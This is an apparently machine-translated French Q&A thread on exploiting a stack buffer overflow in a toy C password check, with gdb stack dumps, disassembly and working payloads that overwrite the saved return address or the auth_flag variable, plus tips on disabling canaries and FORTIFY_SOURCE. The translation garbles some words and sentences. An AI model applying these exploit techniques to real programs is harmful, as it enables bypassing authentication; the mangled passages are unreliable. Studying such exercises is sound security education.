Tentative de débordement de mémoire tampon

J’essaie de changer le résultat d’une fonction en utilisant un débordement de tampon pour changer les résultats sur la stack avec le code suivant:

#include  #include  #include  int check_auth1(char *password) { char password_buffer[8]; int auth_flag = 0; strcpy(password_buffer, password); if (strcmp(password_buffer, "cup") == 0) { auth_flag = 1; } return auth_flag; } int main(int argc, char **argv) { if (argc < 2) { printf("Usage: %s \n", argv[0]); exit(0); } int authenticated = check_auth1(argv[1]); if (authenticated != 1) { printf("NOT Allowed.\n"); } else { printf("Allowed.\n"); } return 0; } 

J’utilise gdb pour parsingr la stack et voici ce que j’ai:

 0xbffff6d0: 0xbffff8e4 0x0000002f 0xbffff72c 0xb7fd0ff4 0xbffff6e0: 0x08048540 0x08049ff4 0x00000002 0x0804833d 0xbffff6f0: 0x00000000 0x00000000 0xbffff728 0x0804850f 0xbffff700: 0xbffff901 0xb7e5e196 0xb7fd0ff4 0xb7e5e225 0xbffff710: 0xb7fed280 0x00000000 0x08048549 0xb7fd0ff4 0xbffff720: 0x08048540 0x00000000 0x00000000 0xb7e444d3 0xbffff730: 0x00000002 0xbffff7c4 0xbffff7d0 0xb7fdc858 0xbffff740: 0x00000000 0xbffff71c 0xbffff7d0 0x00000000 [1] $ebp 0xbffff6f8 [2] $esp 0xbffff6d0 [3] password 0xbffff700 [4] auth_flag 0xbffff6ec [5] password_buffer 0xbffff6e4 0x080484ce : push %ebp 0x080484cf : mov %esp,%ebp 0x080484d1 : and $0xfffffff0,%esp 0x080484d4 : sub $0x20,%esp 0x080484d7 : cmpl $0x1,0x8(%ebp) 0x080484db : jg 0x80484ff  0x080484dd : mov 0xc(%ebp),%eax 0x080484e0 : mov (%eax),%edx 0x080484e2 : mov $0x8048614,%eax 0x080484e7 : mov %edx,0x4(%esp) 0x080484eb : mov %eax,(%esp) 0x080484ee : call 0x8048360  0x080484f3 : movl $0x0,(%esp) 0x080484fa : call 0x80483a0  0x080484ff : mov 0xc(%ebp),%eax 0x08048502 : add $0x4,%eax 0x08048505 : mov (%eax),%eax 0x08048507 : mov %eax,(%esp) ---------- IMPORTANT STUFF STARTS NOW 0x0804850a : call 0x8048474  0x0804850f : mov %eax,0x1c(%esp) 0x08048513 : cmpl $0x1,0x1c(%esp) 0x08048518 : je 0x8048528  

J’ai déterminé la distance qui sépare $ ebp de & password_buffer: 0xbffff6f8 – 0xbffff6e4 = 14 octets

Donc, avec 14 entrées ‘A’, c’est-à-dire ./stackoverflowtest $(perl -e 'print "A" x 14') il devrait m’emmener à “Autorisé”.

Où vais-je mal? Quelle est l’entrée nécessaire pour provoquer un débordement?

Les canaris ASLR et gcc sont désactivés.

check_auth1 dump d’assemblage:

 Dump of assembler code for function check_auth1: 0x08048474 : push %ebp 0x08048475 : mov %esp,%ebp 0x08048477 : push %edi 0x08048478 : push %esi 0x08048479 : sub $0x20,%esp => 0x0804847c : movl $0x0,-0xc(%ebp) 0x08048483 : mov 0x8(%ebp),%eax 0x08048486 : mov %eax,0x4(%esp) 0x0804848a : lea -0x14(%ebp),%eax 0x0804848d : mov %eax,(%esp) 0x08048490 : call 0x8048370  0x08048495 : lea -0x14(%ebp),%eax 0x08048498 : mov %eax,%edx 0x0804849a : mov $0x8048610,%eax 0x0804849f : mov $0x4,%ecx 0x080484a4 : mov %edx,%esi 0x080484a6 : mov %eax,%edi 0x080484a8 : repz cmpsb %es:(%edi),%ds:(%esi) 0x080484aa : seta %dl 0x080484ad : setb %al 0x080484b0 : mov %edx,%ecx 0x080484b2 : sub %al,%cl 0x080484b4 : mov %ecx,%eax 0x080484b6 : movsbl %al,%eax 0x080484b9 : test %eax,%eax 0x080484bb : jne 0x80484c4  0x080484bd : movl $0x1,-0xc(%ebp) 0x080484c4 : mov -0xc(%ebp),%eax 0x080484c7 : add $0x20,%esp 0x080484ca : pop %esi 0x080484cb : pop %edi 0x080484cc : pop %ebp 0x080484cd : ret 

C’est assez facile à exploiter, voici le chemin à parcourir.

Commencez par le comstackr avec -g , cela vous aidera à comprendre ce que vous faites. Ensuite, notre objective sera de réécrire le eip enregistré de check_auth1() et de le déplacer vers la partie else du test dans la fonction main() .

 $> gcc -m32 -g -o vuln vuln.c $> gdb ./vuln ... (gdb) break check_auth1 Breakpoint 1 at 0x80484c3: file vulne.c, line 9. (gdb) run `python -c 'print("A"*28)'` Starting program: ./vulne `python -c 'print("A"*28)'` Breakpoint 1,check_auth1 (password=0xffffd55d 'A' ) at vuln.c:9 9 int auth_flag = 0; (gdb) info frame Stack level 0, frame at 0xffffd2f0: eip = 0x80484c3 in check_auth1 (vuln.c:9); saved eip 0x804853f called by frame at 0xffffd320 source language c. Arglist at 0xffffd2e8, args: password=0xffffd55d 'A'  Locals at 0xffffd2e8, Previous frame's sp is 0xffffd2f0 Saved registers: ebp at 0xffffd2e8, eip at 0xffffd2ec 

Nous nous sums arrêtés à check_auth1() et check_auth1() affiché le cadre de la stack. Nous avons vu que l’ eip enregistré est stocké dans la stack à 0xffffd2ec et contient 0x804853f .

Voyons à quoi cela mène:

 (gdb) disassemble main Dump of assembler code for function main: 0x080484ff <+0>: push %ebp 0x08048500 <+1>: mov %esp,%ebp 0x08048502 <+3>: and $0xfffffff0,%esp 0x08048505 <+6>: sub $0x20,%esp 0x08048508 <+9>: cmpl $0x1,0x8(%ebp) 0x0804850c <+13>: jg 0x804852f  0x0804850e <+15>: mov 0xc(%ebp),%eax 0x08048511 <+18>: mov (%eax),%eax 0x08048513 <+20>: mov %eax,0x4(%esp) 0x08048517 <+24>: movl $0x8048604,(%esp) 0x0804851e <+31>: call 0x8048360  0x08048523 <+36>: movl $0x0,(%esp) 0x0804852a <+43>: call 0x80483a0  0x0804852f <+48>: mov 0xc(%ebp),%eax 0x08048532 <+51>: add $0x4,%eax 0x08048535 <+54>: mov (%eax),%eax 0x08048537 <+56>: mov %eax,(%esp) 0x0804853a <+59>: call 0x80484bd  0x0804853f <+64>: mov %eax,0x1c(%esp) <-- We jump here when returning 0x08048543 <+68>: cmpl $0x1,0x1c(%esp) 0x08048548 <+73>: je 0x8048558  0x0804854a <+75>: movl $0x804861a,(%esp) 0x08048551 <+82>: call 0x8048380  0x08048556 <+87>: jmp 0x8048564  0x08048558 <+89>: movl $0x8048627,(%esp) <-- We want to jump here 0x0804855f <+96>: call 0x8048380  0x08048564 <+101>: mov $0x0,%eax 0x08048569 <+106>: leave 0x0804856a <+107>: ret End of assembler dump. 

Mais la vérité est que nous voulons éviter de passer par la cmpl $0x1,0x1c(%esp) et d’aller directement à l’autre partie du test. Ce qui signifie que nous voulons sauter à 0x08048558 .

Quoi qu’il en soit, essayons d’abord de voir si nos 28 ‘ A ‘ sont suffisants pour réécrire l’ eip enregistré.

 (gdb) next 10 strcpy(password_buffer, password); (gdb) next 11 if (strcmp(password_buffer, "cup") == 0) { 

Ici, la strcpy fait le débordement, regardons donc le cadre de stack:

 (gdb) info frame Stack level 0, frame at 0xffffd2f0: eip = 0x80484dc in check_auth1 (vulnerable.c:11); saved eip 0x41414141 called by frame at 0xffffd2f4 source language c. Arglist at 0xffffd2e8, args: password=0xffffd55d 'A'  Locals at 0xffffd2e8, Previous frame's sp is 0xffffd2f0 Saved registers: ebp at 0xffffd2e8, eip at 0xffffd2ec 

En effet, nous avons réécrit l’eip sauvegardé avec ‘ A ‘ ( 0x41 est le code hexadécimal pour A ). Et, en fait, 28 est exactement ce dont nous avons besoin, pas plus. Si nous remplaçons les quatre derniers octets par l’adresse cible, tout ira bien.

Une chose est que vous devez réorganiser les octets pour prendre en compte la petite-endianesse. 0x08048558 deviendra alors \x58\x85\x04\x08 .

Enfin, vous devrez également écrire une adresse significative pour la valeur ebp enregistrée (pas AAAA ). Mon astuce consiste donc à doubler la dernière adresse comme celle-ci:

 $> ./vuln `python -c 'print("A"*20 + "\x58\x85\x04\x08\x58\x85\x04\x08")'` 

Notez qu’il n’est pas nécessaire de désactiver l’ASLR, car vous sautez dans la section .text (et cette section ne bouge pas sous l’ASLR). Mais vous devez absolument désactiver les canaris.

EDIT : Je me suis trompé en remplaçant le ebp enregistré par notre eip enregistré. En fait, si vous ne donnez pas le bon ebp vous vous ebp à une erreur de segmentation lors de la tentative de sortie de main . Cela est dû au fait que nous avons paramétré le ebp enregistré dans la section .text et, même s’il n’ya pas de problème lors du retour de check_auth1 , le cadre de la stack sera restauré de manière incorrecte lors du retour dans la fonction main (le système pensera que la stack est située dans le code). Le résultat sera que les 4 octets ebp au-dessus de l’adresse indiquée par le ebp enregistré ebp nous avons écrit (et indiquant les instructions) seront confondus avec l’ eip enregistré de main . Donc, soit vous désactivez le registre ASLR et écrivez la bonne adresse du ebp enregistré ( 0xffffd330 ), ce qui entraînera

  $> ./vuln `python -c 'print("A"*20 + "\xff\xff\xd3\x30\x58\x85\x04\x08")'` 

Ou bien, vous devez effectuer une ROP qui effectuera une exit(0) propre exit(0) (ce qui est généralement assez facile à réaliser).

vous vérifiez contre 1 exactement; changez-le en (le style beaucoup plus normal pour la programmation c)

 if (! authenticated) { 

et vous verrez que cela fonctionne (ou l’exécutez dans gdb, ou imprimez la valeur de l’indicateur, et vous verrez que l’indicateur est bien écrasé, ce n’est tout simplement pas 1).

rappelez-vous qu’un int est composé de plusieurs caractères. Il est donc difficile de définir exactement la valeur 1, car bon nombre de ces caractères doivent être zéro (ce qui est le terminateur de chaîne). Au lieu de cela, vous obtenez une valeur comme 13363 (pour le mot de passe 12345678901234).

[hein; Valgrind ne se plaint pas même avec le débordement.]

METTRE À JOUR

ok, voici comment faire avec le code que vous avez. nous avons besoin d’une chaîne de 13 caractères, où le dernier caractère est ASCII 1. in bash:

 > echo -n "123456789012" > foo > echo $'\001' >> foo > ./a.out `cat foo` Allowed. 

où j’utilise

  if (authenticated != 1) { printf("NOT Allowed.\n"); } else { printf("Allowed.\n"); } 

aussi, je compte sur le compilateur pour mettre à zéro certains octets inutilisés (little endian; 13 octets vaut 1 14-16 sont 0). cela fonctionne avec gcc bo.c mais pas avec gcc -O3 bo.c

l’autre réponse ici permet de contourner ce problème en allant au prochain emplacement qui peut être écrasé utilement (j’imaginais que vous visiez la variable auth_flag puisque vous l’aviez placée directement après le mot de passe).

 strcpy(password_buffer, password); 

Cet appel de fonction est l’une des questions à prendre en compte lors des tests. Si le programme commet des erreurs, cela peut être dû à FORTIFY_SOURCE. J’aimerais dire “se bloque de façon inattendue”, mais je ne pense pas que cela s’applique ici;)

FORTIFY_SOURCE utilise des variantes “plus sûres” de fonctions à haut risque telles que memcpy et strcpy . Le compilateur utilise les variantes les plus sûres pour déduire la taille de la mémoire tampon de destination. Si la copie dépasse la taille de la mémoire tampon de destination, le programme appelle alors abort() .

Pour désactiver FORTIFY_SOURCE pour vos tests, vous devez comstackr le programme avec -U_FORTIFY_SOURCE ou -D_FORTIFY_SOURCE=0 .